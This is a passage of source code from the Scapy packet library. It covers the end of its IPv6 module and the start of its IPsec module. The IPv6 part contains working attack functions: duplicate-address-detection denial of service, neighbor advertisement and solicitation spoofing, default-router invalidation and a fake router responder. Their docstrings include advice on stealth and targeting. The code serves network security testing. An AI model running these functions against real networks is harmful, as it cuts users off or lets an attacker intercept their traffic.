NS or NA reply. See the two specific functions below. """ def is_request(req, mac_src_filter, tgt_filter): """ Check if packet req is a request """ # Those simple checks are based on Section 5.4.2 of RFC 4862 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): return 0 # Get and compare the MAC address mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 # Source must be the unspecified address if req[IPv6].src != "::": return 0 # Check destination is the link-local solicited-node multicast # address associated with target address in received NS tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) if tgt_filter and tgt != tgt_filter: return 0 received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst) expected_snma = in6_getnsma(tgt) if received_snma != expected_snma: return 0 return 1 if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), prn=lambda x: reply_callback(x, reply_mac, iface), iface=iface) def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NS sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the unspecified address (::). - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. """ def ns_reply_callback(req, reply_mac, iface): """ Callback that reply to a NS by sending a similar NS """ # Let's build a reply and send it mac = req[Ether].src dst = req[IPv6].dst tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac) / IPv6(src="::", dst=dst) / ICMPv6ND_NS(tgt=tgt) # noqa: E501 sendp(rep, iface=iface, verbose=0) print("Reply NS for target address %s (received from %s)" % (tgt, mac)) _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, tgt_filter, reply_mac) def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a NA reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NA sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the target address found in received NS. - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled with the mac address used as source of the NA. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. This address will also be used in the Target Link-Layer Address option. """ def na_reply_callback(req, reply_mac, iface): """ Callback that reply to a NS with a NA """ # Let's build a reply and send it mac = req[Ether].src dst = req[IPv6].dst tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac) / IPv6(src=tgt, dst=dst) rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) # noqa: E741 rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) sendp(rep, iface=iface, verbose=0) print("Reply NA for target address %s (received from %s)" % (tgt, mac)) _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, tgt_filter, reply_mac) def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None, router=False): """ The main purpose of this function is to send fake Neighbor Advertisement messages to a victim. As the emission of unsolicited Neighbor Advertisement is pretty pointless (from an attacker standpoint) because it will not lead to a modification of a victim's neighbor cache, the function send advertisements in response to received NS (NS sent as part of the DAD, i.e. with an unspecified address as source, are not considered). By default, the fake NA sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the target address - as IPv6 destination address: the source IPv6 address of received NS message. - the mac address of the interface as source (or reply_mac, see below). - the source mac address of the received NS as destination macs address of the emitted NA. - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled with the mac address used as source of the NA. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. This address will also be used in the Target Link-Layer Address option. router: by the default (False) the 'R' flag in the NA used for the reply is not set. If the parameter is set to True, the 'R' flag in the NA is set, advertising us as a router. Please, keep the following in mind when using the function: for obvious reasons (kernel space vs. Python speed), when the target of the address resolution is on the link, the sender of the NS receives 2 NA messages in a row, the valid one and our fake one. The second one will overwrite the information provided by the first one, i.e. the natural latency of Scapy helps here. In practice, on a common Ethernet link, the emission of the NA from the genuine target (kernel stack) usually occurs in the same millisecond as the receipt of the NS. The NA generated by Scapy6 will usually come after something 20+ ms. On a usual testbed for instance, this difference is sufficient to have the first data packet sent from the victim to the destination before it even receives our fake NA. """ def is_request(req, mac_src_filter, tgt_filter): """ Check if packet req is a request """ # Those simple checks are based on Section 5.4.2 of RFC 4862 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): return 0 mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 # Source must NOT be the unspecified address if req[IPv6].src == "::": return 0 tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) if tgt_filter and tgt != tgt_filter: return 0 dst = req[IPv6].dst if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast. # If this is a real address resolution NS, then the destination # address of the packet is the link-local solicited node multicast # address associated with the target of the NS. # Otherwise, the NS is a NUD related one, i.e. the peer is # unicasting the NS to check the target is still alive (L2 # information is still in its cache and it is verified) received_snma = inet_pton(socket.AF_INET6, dst) expected_snma = in6_getnsma(tgt) if received_snma != expected_snma: print("solicited node multicast @ does not match target @!") return 0 return 1 def reply_callback(req, reply_mac, router, iface): """ Callback that reply to a NS with a spoofed NA """ # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and # send it back. mac = req[Ether].src pkt = req[IPv6] src = pkt.src tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src) # Use the target field from the NS rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # noqa: E741 # "If the solicitation IP Destination Address is not a multicast # address, the Target Link-Layer Address option MAY be omitted" # Given our purpose, we always include it. rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) sendp(rep, iface=iface, verbose=0) print("Reply NA for target address %s (received from %s)" % (tgt, mac)) if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac router = (router and 1) or 0 # Value of the R flags in NA sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), prn=lambda x: reply_callback(x, reply_mac, router, iface), iface=iface) def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", dst=None, src_mac=None, dst_mac=None, loop=True, inter=1, iface=None): """ The main purpose of this function is to send fake Neighbor Solicitations messages to a victim, in order to either create a new entry in its neighbor cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated that a node SHOULD create the entry or update an existing one (if it is not currently performing DAD for the target of the NS). The entry's reachability # noqa: E501 state is set to STALE. The two main parameters of the function are the source link-layer address (carried by the Source Link-Layer Address option in the NS) and the source address of the packet. Unlike some other NDP_Attack_* function, this one is not based on a stimulus/response model. When called, it sends the same NS packet in loop every second (the default) Following arguments can be used to change the format of the packets: src_lladdr: the MAC address used in the Source Link-Layer Address option included in the NS packet. This is the address that the peer should associate in its neighbor cache with the IPv6 source address of the packet. If None is provided, the mac address of the interface is used. src: the IPv6 address used as source of the packet. If None is provided, an address associated with the emitting interface will be used (based on the destination address of the packet). target: the target address of the NS packet. If no value is provided, a dummy address (2001:db8::1) is used. The value of the target has a direct impact on the destination address of the packet if it is not overridden. By default, the solicited-node multicast address associated with the target is used as destination address of the packet. Consider specifying a specific destination address if you intend to use a target address different than the one of the victim. dst: The destination address of the NS. By default, the solicited node multicast address associated with the target address (see previous parameter) is used if no specific value is provided. The victim is not expected to check the destination address of the packet, so using a multicast address like ff02::1 should work if you want the attack to target all hosts on the link. On the contrary, if you want to be more stealth, you should provide the target address for this parameter in order for the packet to be sent only to the victim. src_mac: the MAC address used as source of the packet. By default, this is the address of the interface. If you want to be more stealth, feel free to use something else. Note that this address is not the that the victim will use to populate its neighbor cache. dst_mac: The MAC address used as destination address of the packet. If the IPv6 destination address is multicast (all-nodes, solicited node, ...), it will be computed. If the destination address is unicast, a neighbor solicitation will be performed to get the associated address. If you want the attack to be stealth, you can provide the MAC address using this parameter. loop: By default, this parameter is True, indicating that NS packets will be sent in loop, separated by 'inter' seconds (see below). When set to False, a single packet is sent. inter: When loop parameter is True (the default), this parameter provides the interval in seconds used for sending NS packets. iface: to force the sending interface. """ if not iface: iface = conf.iface # Use provided MAC address as source link-layer address option # or the MAC address of the interface if none is provided. if not src_lladdr: src_lladdr = get_if_hwaddr(iface) # Prepare packets parameters ether_params = {} if src_mac: ether_params["src"] = src_mac if dst_mac: ether_params["dst"] = dst_mac ipv6_params = {} if src: ipv6_params["src"] = src if dst: ipv6_params["dst"] = dst else: # Compute the solicited-node multicast address # associated with the target address. tmp = inet_ntop(socket.AF_INET6, in6_getnsma(inet_pton(socket.AF_INET6, target))) ipv6_params["dst"] = tmp pkt = Ether(**ether_params) pkt /= IPv6(**ipv6_params) pkt /= ICMPv6ND_NS(tgt=target) pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr) sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0) def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, ip_src_filter=None, reply_mac=None, tgt_mac=None): """ The purpose of the function is to monitor incoming RA messages sent by default routers (RA with a non-zero Router Lifetime values) and invalidate them by immediately replying with fake RA messages advertising a zero Router Lifetime value. The result on receivers is that the router is immediately invalidated, i.e. the associated entry is discarded from the default router list and destination cache is updated to reflect the change. By default, the function considers all RA messages with a non-zero Router Lifetime value but provides configuration knobs to allow filtering RA sent by specific routers (Ethernet source address). With regard to emission, the multicast all-nodes address is used by default but a specific target can be used, in order for the DoS to apply only to a specific host. More precisely, following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only RA messages received from this source will trigger replies. If other default routers advertised their presence on the link, their clients will not be impacted by the attack. The default value is None: the DoS is not limited to a specific mac address. ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter on. Only RA messages received from this source address will trigger replies. If other default routers advertised their presence on the link, their clients will not be impacted by the attack. The default value is None: the DoS is not limited to a specific IPv6 source address. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. tgt_mac: allow limiting the effect of the DoS to a specific host, by sending the "invalidating RA" only to its mac address. """ def is_request(req, mac_src_filter, ip_src_filter): """ Check if packet req is a request """ if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req): return 0 mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 ip_src = req[IPv6].src if ip_src_filter and ip_src != ip_src_filter: return 0 # Check if this is an advertisement for a Default Router # by looking at Router Lifetime value if req[ICMPv6ND_RA].routerlifetime == 0: return 0 return 1 def ra_reply_callback(req, reply_mac, tgt_mac, iface): """ Callback that sends an RA with a 0 lifetime """ # Let's build a reply and send it src = req[IPv6].src # Prepare packets parameters ether_params = {} if reply_mac: ether_params["src"] = reply_mac if tgt_mac: ether_params["dst"] = tgt_mac # Basis of fake RA (high pref, zero lifetime) rep = Ether(**ether_params) / IPv6(src=src, dst="ff02::1") rep /= ICMPv6ND_RA(prf=1, routerlifetime=0) # Add it a PIO from the request ... tmp = req while ICMPv6NDOptPrefixInfo in tmp: pio = tmp[ICMPv6NDOptPrefixInfo] tmp = pio.payload del(pio.payload) rep /= pio # ... and source link layer address option if ICMPv6NDOptSrcLLAddr in req: mac = req[ICMPv6NDOptSrcLLAddr].lladdr else: mac = req[Ether].src rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac) sendp(rep, iface=iface, verbose=0) print("Fake RA sent with source address %s" % src) if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface), iface=iface) def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None): """ The purpose of this function is to send provided RA message at layer 2 (i.e. providing a packet starting with IPv6 will not work) in response to received RS messages. In the end, the function is a simple wrapper around sendp() that monitor the link for RS messages. It is probably better explained with an example: >>> ra = Ether()/IPv6()/ICMPv6ND_RA() >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") >>> NDP_Attack_Fake_Router(ra, iface="eth0") Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573 Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae ... Following arguments can be used to change the behavior: ra: the RA message to send in response to received RS message. iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If none is provided, conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only RS messages received from this source will trigger a reply. Note that no changes to provided RA is done which imply that if you intend to target only the source of the RS using this option, you will have to set the Ethernet destination address to the same value in your RA. The default value for this parameter is None: no filtering on the source of RS is done. ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter on. Only RS messages received from this source address will trigger replies. Same comment as for previous argument apply: if you use the option, you will probably want to set a specific Ethernet destination address in the RA. """ def is_request(req, mac_src_filter, ip_src_filter): """ Check if packet req is a request """ if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req): return 0 mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 ip_src = req[IPv6].src if ip_src_filter and ip_src != ip_src_filter: return 0 return 1 def ra_reply_callback(req, iface): """ Callback that sends an RA in reply to an RS """ src = req[IPv6].src sendp(ra, iface=iface, verbose=0) print("Fake RA sent in response to RS from %s" % src) if not iface: iface = conf.iface sniff_filter = "icmp6" sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), prn=lambda x: ra_reply_callback(x, iface), iface=iface) ############################################################################# # Pre-load classes ## ############################################################################# def _get_cls(name): return globals().get(name, Raw) def _load_dict(d): for k, v in d.items(): d[k] = _get_cls(v) _load_dict(icmp6ndoptscls) _load_dict(icmp6typescls) _load_dict(ipv6nhcls) ############################################################################# ############################################################################# # Layers binding # ############################################################################# ############################################################################# conf.l3types.register(ETH_P_IPV6, IPv6) conf.l2types.register(31, IPv6) conf.l2types.register(DLT_IPV6, IPv6) conf.l2types.register(DLT_RAW, _IPv46) conf.l2types.register_num2layer(DLT_RAW_ALT, _IPv46) bind_layers(Ether, IPv6, type=0x86dd) bind_layers(CookedLinux, IPv6, proto=0x86dd) bind_layers(GRE, IPv6, proto=0x86dd) bind_layers(SNAP, IPv6, code=0x86dd) bind_layers(Loopback, IPv6, type=socket.AF_INET6) bind_layers(IPerror6, TCPerror, nh=socket.IPPROTO_TCP) bind_layers(IPerror6, UDPerror, nh=socket.IPPROTO_UDP) bind_layers(IPv6, TCP, nh=socket.IPPROTO_TCP) bind_layers(IPv6, UDP, nh=socket.IPPROTO_UDP) bind_layers(IP, IPv6, proto=socket.IPPROTO_IPV6) bind_layers(IPv6, IPv6, nh=socket.IPPROTO_IPV6) bind_layers(IPv6, IP, nh=socket.IPPROTO_IPIP) bind_layers(IPv6, GRE, nh=socket.IPPROTO_GRE) scapy-2.4.4/scapy/layers/ipsec.py000066400000000000000000001251461372370053500167510ustar00rootroot00000000000000############################################################################# # ipsec.py --- IPsec support for Scapy # # # # Copyright (C) 2014 6WIND # # # # This program is free software; you can redistribute it and/or modify it # # under the terms of the GNU General Public License version 2 as # # published by the Free Software Foundation. # # # # This program is distributed in the hope that it will be useful, but # # WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # # General Public License for more details. # ############################################################################# r""" IPsec layer =========== Example of use: >>> sa = SecurityAssociation(ESP, spi=0xdeadbeef, crypt_algo='AES-CBC', ... crypt_key='sixteenbytes key') >>> p = IP(src='1.1.1.1', dst='2.2.2.2') >>> p /= TCP(sport=45012, dport=80) >>> p /= Raw('testdata') >>> p = IP(raw(p)) >>> p >> # noqa: E501 >>> >>> e = sa.encrypt(p) >>> e > # noqa: E501 >>> >>> d = sa.decrypt(e) >>> d >> # noqa: E501 >>> >>> d == p True """ from __future__ import absolute_import try: from math import gcd except ImportError: from fractions import gcd import os import socket import struct from scapy.config import conf, crypto_validator from scapy.compat import orb, raw from scapy.data import IP_PROTOS from scapy.error import log_loading from scapy.fields import ByteEnumField, ByteField, IntField, PacketField, \ ShortField, StrField, XIntField, XStrField, XStrLenField from scapy.packet import Packet, bind_layers, Raw from scapy.layers.inet import IP, UDP import scapy.modules.six as six from scapy.modules.six.moves import range from scapy.layers.inet6 import IPv6, IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt, \ IPv6ExtHdrRouting ############################################################################### class AH(Packet): """ Authentication Header See https://tools.ietf.org/rfc/rfc4302.txt """ name = 'AH' def __get_icv_len(self): """ Compute the size of the ICV based on the payloadlen field. Padding size is included as it can only be known from the authentication # noqa: E501 algorithm provided by the Security Association. """ # payloadlen = length of AH in 32-bit words (4-byte units), minus "2" # payloadlen = 3 32-bit word fixed fields + ICV + padding - 2 # ICV = (payloadlen + 2 - 3 - padding) in 32-bit words return (self.payloadlen - 1) * 4 fields_desc = [ ByteEnumField('nh', None, IP_PROTOS), ByteField('payloadlen', None), ShortField('reserved', None), XIntField('spi', 0x0), IntField('seq', 0), XStrLenField('icv', None, length_from=__get_icv_len), # Padding len can only be known with the SecurityAssociation.auth_algo XStrLenField('padding', None, length_from=lambda x: 0), ] overload_fields = { IP: {'proto': socket.IPPROTO_AH}, IPv6: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrRouting: {'nh': socket.IPPROTO_AH}, } bind_layers(IP, AH, proto=socket.IPPROTO_AH) bind_layers(IPv6, AH, nh=socket.IPPROTO_AH) bind_layers(AH, IP, nh=socket.IPPROTO_IP) bind_layers(AH, IPv6, nh=socket.IPPROTO_IPV6) ############################################################################### class ESP(Packet): """ Encapsulated Security Payload See https://tools.ietf.org/rfc/rfc4303.txt """ name = 'ESP' fields_desc = [ XIntField('spi', 0x0), IntField('seq', 0), XStrField('data', None), ] overload_fields = { IP: {'proto': socket.IPPROTO_ESP}, IPv6: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrRouting: {'nh': socket.IPPROTO_ESP}, } bind_layers(IP, ESP, proto=socket.IPPROTO_ESP) bind_layers(IPv6, ESP, nh=socket.IPPROTO_ESP) bind_layers(UDP, ESP, dport=4500) # NAT-Traversal encapsulation bind_layers(UDP, ESP, sport=4500) # NAT-Traversal encapsulation ############################################################################### class _ESPPlain(Packet): """ Internal class to represent unencrypted ESP packets. """ name = 'ESP' fields_desc = [ XIntField('spi', 0x0), IntField('seq', 0), StrField('iv', ''), PacketField('data', '', Raw), StrField('padding', ''), ByteField('padlen', 0), ByteEnumField('nh', 0, IP_PROTOS), StrField('icv', ''), ] def data_for_encryption(self): return raw(self.data) + self.padding + struct.pack("BB", self.padlen, self.nh) # noqa: E501 ############################################################################### if conf.crypto_valid: from cryptography.exceptions import InvalidTag from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.ciphers import ( Cipher, algorithms, modes, ) else: log_loading.info("Can't import python-cryptography v1.7+. " "Disabled IPsec encryption/authentication.") default_backend = None InvalidTag = Exception Cipher = algorithms = modes = None ############################################################################### def _lcm(a, b): """ Least Common Multiple between 2 integers. """ if a == 0 or b == 0: return 0 else: return abs(a * b) // gcd(a, b) class CryptAlgo(object): """ IPsec encryption algorithm """ def __init__(self, name, cipher, mode, block_size=None, iv_size=None, key_size=None, icv_size=None, salt_size=None, format_mode_iv=None): # noqa: E501 """ :param name: the name of this encryption algorithm :param cipher: a Cipher module :param mode: the mode used with the cipher module :param block_size: the length a block for this algo. Defaults to the `block_size` of the cipher. :param iv_size: the length of the initialization vector of this algo. Defaults to the `block_size` of the cipher. :param key_size: an integer or list/tuple of integers. If specified, force the secret keys length to one of the values. Defaults to the `key_size` of the cipher. :param icv_size: the length of the Integrity Check Value of this algo. Used by Combined Mode Algorithms e.g. GCM :param salt_size: the length of the salt to use as the IV prefix. Usually used by Counter modes e.g. CTR :param format_mode_iv: function to format the Initialization Vector e.g. handle the salt value Default is the random buffer from `generate_iv` """ self.name = name self.cipher = cipher self.mode = mode self.icv_size = icv_size if modes and self.mode is not None: self.is_aead = issubclass(self.mode, modes.ModeWithAuthenticationTag) else: self.is_aead = False if block_size is not None: self.block_size = block_size elif cipher is not None: self.block_size = cipher.block_size // 8 else: self.block_size = 1 if iv_size is None: self.iv_size = self.block_size else: self.iv_size = iv_size if key_size is not None: self.key_size = key_size elif cipher is not None: self.key_size = tuple(i // 8 for i in cipher.key_sizes) else: self.key_size = None if salt_size is None: self.salt_size = 0 else: self.salt_size = salt_size if format_mode_iv is None: self._format_mode_iv = lambda iv, **kw: iv else: self._format_mode_iv = format_mode_iv def check_key(self, key): """ Check that the key length is valid. :param key: a byte string """ if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size): # noqa: E501 raise TypeError('invalid key size %s, must be %s' % (len(key), self.key_size)) def generate_iv(self): """ Generate a random initialization vector. """ # XXX: Handle counter modes with real counters? RFCs allow the use of # XXX: random bytes for counters, so it is not wrong to do it that way return os.urandom(self.iv_size) @crypto_validator def new_cipher(self, key, mode_iv, digest=None): """ :param key: the secret key, a byte string :param mode_iv: the initialization vector or nonce, a byte string. Formatted by `format_mode_iv`. :param digest: also known as tag or icv. A byte string containing the digest of the encrypted data. Only use this during decryption! :returns: an initialized cipher object for this algo """ if self.is_aead and digest is not None: # With AEAD, the mode needs the digest during decryption. return Cipher( self.cipher(key), self.mode(mode_iv, digest, len(digest)), default_backend(), ) else: return Cipher( self.cipher(key), self.mode(mode_iv), default_backend(), ) def pad(self, esp): """ Add the correct amount of padding so that the data to encrypt is exactly a multiple of the algorithm's block size. Also, make sure that the total ESP packet length is a multiple of 4 bytes. :param esp: an unencrypted _ESPPlain packet :returns: an unencrypted _ESPPlain packet with valid padding """ # 2 extra bytes for padlen and nh data_len = len(esp.data) + 2 # according to the RFC4303, section 2.4. Padding (for Encryption) # the size of the ESP payload must be a multiple of 32 bits align = _lcm(self.block_size, 4) # pad for block size esp.padlen = -data_len % align # Still according to the RFC, the default value for padding *MUST* be an # noqa: E501 # array of bytes starting from 1 to padlen # TODO: Handle padding function according to the encryption algo esp.padding = struct.pack("B" * esp.padlen, *range(1, esp.padlen + 1)) # If the following test fails, it means that this algo does not comply # with the RFC payload_len = len(esp.iv) + len(esp.data) + len(esp.padding) + 2 if payload_len % 4 != 0: raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.') # noqa: E501 return esp def encrypt(self, sa, esp, key, esn_en=False, esn=0): """ Encrypt an ESP packet :param sa: the SecurityAssociation associated with the ESP packet. :param esp: an unencrypted _ESPPlain packet with valid padding :param key: the secret key used for encryption :esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :esn: extended sequence number (32 MSB) :return: a valid ESP packet encrypted with this algorithm """ data = esp.data_for_encryption() if self.cipher: mode_iv = self._format_mode_iv(algo=self, sa=sa, iv=esp.iv) cipher = self.new_cipher(key, mode_iv) encryptor = cipher.encryptor() if self.is_aead: if esn_en: aad = struct.pack('!LLL', esp.spi, esn, esp.seq) else: aad = struct.pack('!LL', esp.spi, esp.seq) encryptor.authenticate_additional_data(aad) data = encryptor.update(data) + encryptor.finalize() data += encryptor.tag[:self.icv_size] else: data = encryptor.update(data) + encryptor.finalize() return ESP(spi=esp.spi, seq=esp.seq, data=esp.iv + data) def decrypt(self, sa, esp, key, icv_size=None, esn_en=False, esn=0): """ Decrypt an ESP packet :param sa: the SecurityAssociation associated with the ESP packet. :param esp: an encrypted ESP packet :param key: the secret key used for encryption :param icv_size: the length of the icv used for integrity check :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :param esn: extended sequence number (32 MSB) :returns: a valid ESP packet encrypted with this algorithm :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check fails with an AEAD algorithm """ if icv_size is None: icv_size = self.icv_size if self.is_aead else 0 iv = esp.data[:self.iv_size] data = esp.data[self.iv_size:len(esp.data) - icv_size] icv = esp.data[len(esp.data) - icv_size:] if self.cipher: mode_iv = self._format_mode_iv(sa=sa, iv=iv) cipher = self.new_cipher(key, mode_iv, icv) decryptor = cipher.decryptor() if self.is_aead: # Tag value check is done during the finalize method if esn_en: decryptor.authenticate_additional_data( struct.pack('!LLL', esp.spi, esn, esp.seq)) else: decryptor.authenticate_additional_data( struct.pack('!LL', esp.spi, esp.seq)) try: data = decryptor.update(data) + decryptor.finalize() except InvalidTag as err: raise IPSecIntegrityError(err) # extract padlen and nh padlen = orb(data[-2]) nh = orb(data[-1]) # then use padlen to determine data and padding data = data[:len(data) - padlen - 2] padding = data[len(data) - padlen - 2: len(data) - 2] return _ESPPlain(spi=esp.spi, seq=esp.seq, iv=iv, data=data, padding=padding, padlen=padlen, nh=nh, icv=icv) ############################################################################### # The names of the encryption algorithms are the same than in scapy.contrib.ikev2 # noqa: E501 # see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml CRYPT_ALGOS = { 'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0), } if algorithms: CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC', cipher=algorithms.AES, mode=modes.CBC) _aes_ctr_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv + b'\x00\x00\x00\x01' # noqa: E501 CRYPT_ALGOS['AES-CTR'] = CryptAlgo('AES-CTR', cipher=algorithms.AES, mode=modes.CTR, iv_size=8, salt_size=4, format_mode_iv=_aes_ctr_format_mode_iv) _salt_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv CRYPT_ALGOS['AES-GCM'] = CryptAlgo('AES-GCM', cipher=algorithms.AES, mode=modes.GCM, salt_size=4, iv_size=8, icv_size=16, format_mode_iv=_salt_format_mode_iv) if hasattr(modes, 'CCM'): CRYPT_ALGOS['AES-CCM'] = CryptAlgo('AES-CCM', cipher=algorithms.AES, mode=modes.CCM, iv_size=8, salt_size=3, icv_size=16, format_mode_iv=_salt_format_mode_iv) # XXX: Flagged as weak by 'cryptography'. Kept for backward compatibility CRYPT_ALGOS['Blowfish'] = CryptAlgo('Blowfish', cipher=algorithms.Blowfish, mode=modes.CBC) # XXX: RFC7321 states that DES *MUST NOT* be implemented. # XXX: Keep for backward compatibility? # Using a TripleDES cipher algorithm for DES is done by using the same 64 # bits key 3 times (done by cryptography when given a 64 bits key) CRYPT_ALGOS['DES'] = CryptAlgo('DES', cipher=algorithms.TripleDES, mode=modes.CBC, key_size=(8,)) CRYPT_ALGOS['3DES'] = CryptAlgo('3DES', cipher=algorithms.TripleDES, mode=modes.CBC) CRYPT_ALGOS['CAST'] = CryptAlgo('CAST', cipher=algorithms.CAST5, mode=modes.CBC) ############################################################################### if conf.crypto_valid: from 